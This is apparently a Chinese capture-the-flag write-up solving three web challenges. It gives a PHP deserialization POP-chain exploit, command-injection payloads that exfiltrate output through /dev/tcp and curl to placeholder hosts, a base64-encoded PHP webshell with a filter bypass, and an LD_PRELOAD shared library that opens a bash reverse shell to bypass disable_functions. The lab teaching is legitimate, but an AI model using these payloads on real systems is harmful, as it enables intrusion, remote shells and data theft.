Web
ezpop
ezpop
<?php
highlight_file(__FILE__);
class crow
{
public $v1;
public $v2;
function eval() {
echo "crow::eval<br>";
echo new $this->v1($this->v2);
}
public function __invoke()
{
echo "crow::__invoke<br>";
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo "fin::__destruct<br>";
echo $this->f1 . '114514';
}
public function run()
{
echo "fin::run<br>";
($this->f1)();
}
public function __call($a, $b)
{
echo "fin::__call<br>";
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
echo "what::__toString<br>";
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
echo "mix::run<br>";
($this->m1)();
}
public function get_flag()
{
echo "mix::get_flag<br>";
eval('#' . $this->m1);
}
}
unserialize($_GET['p']);
拿到题目源码后将它进行了一个简单的变形(每个方法中加一个echo),方便我们在本地调试
找一下链子的开头跟结尾,开头肯定就是__destruct(),结尾应该是两个,一个是mix::get_flag()命令执行,另外一个是crow::eval(原生类读文件),这里我只打了get_flag的那条链子
简单审计一下可以得到链子如下
fin::__destruct()?
what::__toString()?
fin::run?
crow::__invoke()?
fin::__call()?
mix::get_flag()
以上就是整条pop链,可以看到fin类总共被调用了三次,所以就不能一条链子一把梭了,所以我定义了三个fin类的实例对象,具体的exp如下
<?php
class crow
{
public $v1;
public $v2;
}
class fin
{
public $f1;
}
class what
{
public $a;
}
class mix
{
public $m1;
}
$c=new crow();
$f1=new fin();
$f2=new fin();
$f3=new fin();
$w=new what();
$m=new mix();
$f1->f1=$w;
$w->a=$f2;
$f2->f1=$c;
$c->v1=$f3;
$f3->f1=$m;
$m->m1="?><?php system('cat H0mv*');?>";
echo serialize($f1);
这里链子打通了还没有完全结束,还要绕过eval('#' . $this->m1);
这里我用到的是闭合php标签绕过,即?><?php system('ls');?> ,最后就是RCE 随便打了
总结:这道题最主要的就是理清链子关系,不用反复引用了本地测试更方便
calc
题目源码
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)
这是一道绕waf的题,eval那里可以ssti,log那里可以控制一部分命令执行,但是这道题禁用的黑名单有点多
import
(
)
_
|
;
"
{
}
&
getattr
os
system
class
subclasses
mro
request
args
eval
if
subprocess
file
open
popen
builtins
compile
execfile
from_pyfile
config
local
self
item
getitem
getattribute
func_globals
__init__
join
__dict__
现在就是想办法命令执行,可以写一个简单的正则表达式来测试我们的payload
/import|\(|\)| |_|\||;|\"|\{|\}|&|getattr|os|system|class|subclasses|mro|request|args|eval|if|subprocess|file|open|popen|builtins|compile|execfile|from_pyfile|config|local|self|item|getitem|getattribute|func_globals|__init__|join|__dict__/gm
blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
'getattribute', 'func_globals', '__init__', 'join', '__dict__']
reg = ''
te = ['(', ')', '|', '{', '}']
for i in blacklist:
for j in te:
if i == j:
print(j)
reg += "\\"
reg += i + "|"
print(reg)
本来想着能不能直接用eval函数直接打ssti,但是看了一下,这个过滤有点狠,基本绕不过
然后接着看,下面有个os.system命令执行,且我们能够控制一部分
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)
os.system(log)
简化一下
echo xxx payload> ./tmp/log.txt
其中payload为可控制的,但是受到黑名单影响
这里可以很容易想到linux的反引号执行命令,然后空格就用Tab%09 绕过就行
`ls` > /dev/tcp/xxxx/2333<
将ls的输出重定向到服务器的输入上
也就说服务器接受到的是题目的输入
而输入正好是命令执行的结果
`curl -F xx=@/tmp/log.txt http://xxxx:2333`
利用curl外带/tmp/log.txt里面的数据
直接这样写payload的话,会在eval函数那里报错,所以可以用python的注释符# 将它后面的payload个注释掉,当执行命令的时候,linux只会把# 当做一个字符看待的
最终payload
1%23%09`ls`%09>%09/dev/tcp/xxxx/2333<
1%23`cat%09/T*`
1%23`curl%09-F%09xx=@tmp/log.txt%09http://xxx:2333`
upgdstore
一道文件上传,且只能上传php文件,而且对文件内容有过滤,上传一句话木马不行,一次一次上传来fuzz太麻烦了,可以写一个脚本
import requests
import re
url = 'http://957a8957-d00e-4202-8e75-6b42be0b41a6.node4.buuoj.cn:81/'
while True:
payload = input("\n[+]请输入你的payload例如> phpinfo();\n")
template = f"<?php {payload} ?>"
proxy = {"http": "127.0.0.1:8080"}
with open("1.php", "w") as f1:
f1.write(template)
with open("1.php", "r") as f:
data = {"submit": "upload"}
res = requests.post(url=url, files={'upload_file': f}, data=data, proxies=proxy)
try:
reg=re.compile("Look here~ ./(.*?)</div>")
_url = reg.findall(res.text)[0]
except Exception as e:
print(res.text)
continue
get_url = url + _url
print(get_url)
搜索发现禁用了特别多的函数,试一下能不能用show_source 之类的函数能不能源码给拿出来
发现show_source被禁用了,可以使用base64绕过,当然肯定不止这一中绕过方法
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计,传个火?!
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
现在感觉就成了RCE的题了
可以看到这里处理黑名单的时候使用的strstr函数,不是正则,strstr是对大小写敏感的,所以用大小写绕过部分黑名单,但是像一句话木马中要用到的$ 符号那要怎么绕过呢
很明显可以接着使用之前的那个base64绕过
<?php eval($_POST['p']);?>
PD9waHAgZXZhbCgkX1BPU1RbJ3AnXSk7Pz4=
f3b94e88bd1bd325af6f62828c8785dd.php
先上传一个一句话木马的base64编码文件,然后再包含它就行了
php:
cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0uL2YzYjk0ZTg4YmQxYmQzMjVhZjZmNjI4MjhjODc4NWRkLnBocA==
Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0uL2YzYjk0ZTg4YmQxYmQzMjVhZjZmNjI4MjhjODc4NWRkLnBocA=="));
这里分两次上传的时候注意一个点,就是两次上传不一样的payload的时候需要修改一下文件名,不然就是在原来的文件上进行覆盖,可以看到下面的文件名的规则,就是一个md5加密
但是不知道为啥,用蚁剑连不上,我估计是它把蚁剑使用的那些函数给禁用掉了,所以我们就只能自己找函数去绕过disable_functions,可以参考这两篇文章
https://www.freebuf.com/articles/network/263540.html
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
这里使用LD_PRELOAD劫持系统函数的方法需要能够上传文件,然后去动态连接这个恶意so文件
首先编译一个恶意so文件,c源代码如下
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload()
{
system("bash -c 'exec bash -i &>/dev/tcp/xxxxx/2333 <&1'");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL)
{
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
注意源码使用/n换行,也就是LF,然后在linux上编译
然后尝试用file_put_contents,发现这个函数被禁用了
所以尝试寻找其他文件上传函数,可以看到源码里面有一个move_uploaded_file,该函数也可以进行文件上传
流程就是上传一个接受文件上传的页面,可以使用之前的base64写马的方法,可以直接对1.php的内容进行修改即可
<?php
eval($_POST['p']);
$temp_file = $_FILES['upload_file']['tmp_name'];
if(move_uploaded_file($temp_file, "/var/www/html/uploads/exp.so")) {
echo "upload success~";
} else {
echo "failed~";
}
?>
PD9waHAKZXZhbCgkX1BPU1RbJ3AnXSk7CiR0ZW1wX2ZpbGUgPSAkX0ZJTEVTWyd1cGxvYWRfZmlsZSddWyd0bXBfbmFtZSddOwppZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRlbXBfZmlsZSwgIi92YXIvd3d3L2h0bWwvdXBsb2Fkcy9leHAuc28iKSkgewogICAgZWNobyAidXBsb2FkIHN1Y2Nlc3N+IjsKfSBlbHNlIHsKICAgIGVjaG8gImZhaWxlZH4iOwp9IAo/Pg==
然后写一个python脚本去上传这个so文件,代码如下
import requests
import re
url = 'http://0fba9505-2138-43a3-a610-09c2e9994cee.node4.buuoj.cn:81/uploads/9bc09ee4e0eb91840f7c5207e1d84852.php'
while True:
input("上传一次")
proxy = {
'http':'127.0.0.1:8080'
}
with open("exp.so", "rb") as f:
res = requests.post(url=url, files={'upload_file': f}, proxies=proxy)
print(res.text)
try:
final_url='http://0fba9505-2138-43a3-a610-09c2e9994cee.node4.buuoj.cn:81/uploads/exp.so'
get_res = requests.get(url=final_url)
if get_res.status_code != 404:
print(get_res.text)
except Exception as e:
print(res.text)
continue
# print(_url
OK, 现在就直接利用这个php文件执行被劫持的系统函数geteuid ,该函数会在mail() 是自动调用,新开启的mail进程中的geteuid() 函数获取的库对象需要我们自己去通过LD_PRELOAD环境变量去指定,由于LD_PRELOAD环境变量中的优先级是最高的,所以会覆盖掉之前的geteuid函数,从而达到执行命令的目的
payload如下
p=putenv("LD_PRELOAD=/var/www/html/uploads/exp.so"); mail('','','','');
成功反弹上shell,但是使用cat命令的时候发现权限不够,尝试suid提权
结果发现有个现成的nl,可以直接代替cat输出的
最后拿到flag
|